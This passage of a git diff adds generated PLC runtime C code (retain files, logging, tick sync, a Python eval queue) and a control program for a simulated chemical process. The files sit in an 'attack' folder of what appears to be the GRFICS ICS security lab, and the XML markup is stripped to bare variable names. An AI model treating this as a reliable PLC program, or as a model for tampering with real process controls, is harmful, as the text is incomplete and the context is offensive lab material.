-1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml new file mode 100644 index 0000000..b63b42a --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml @@ -0,0 +1,5687 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + 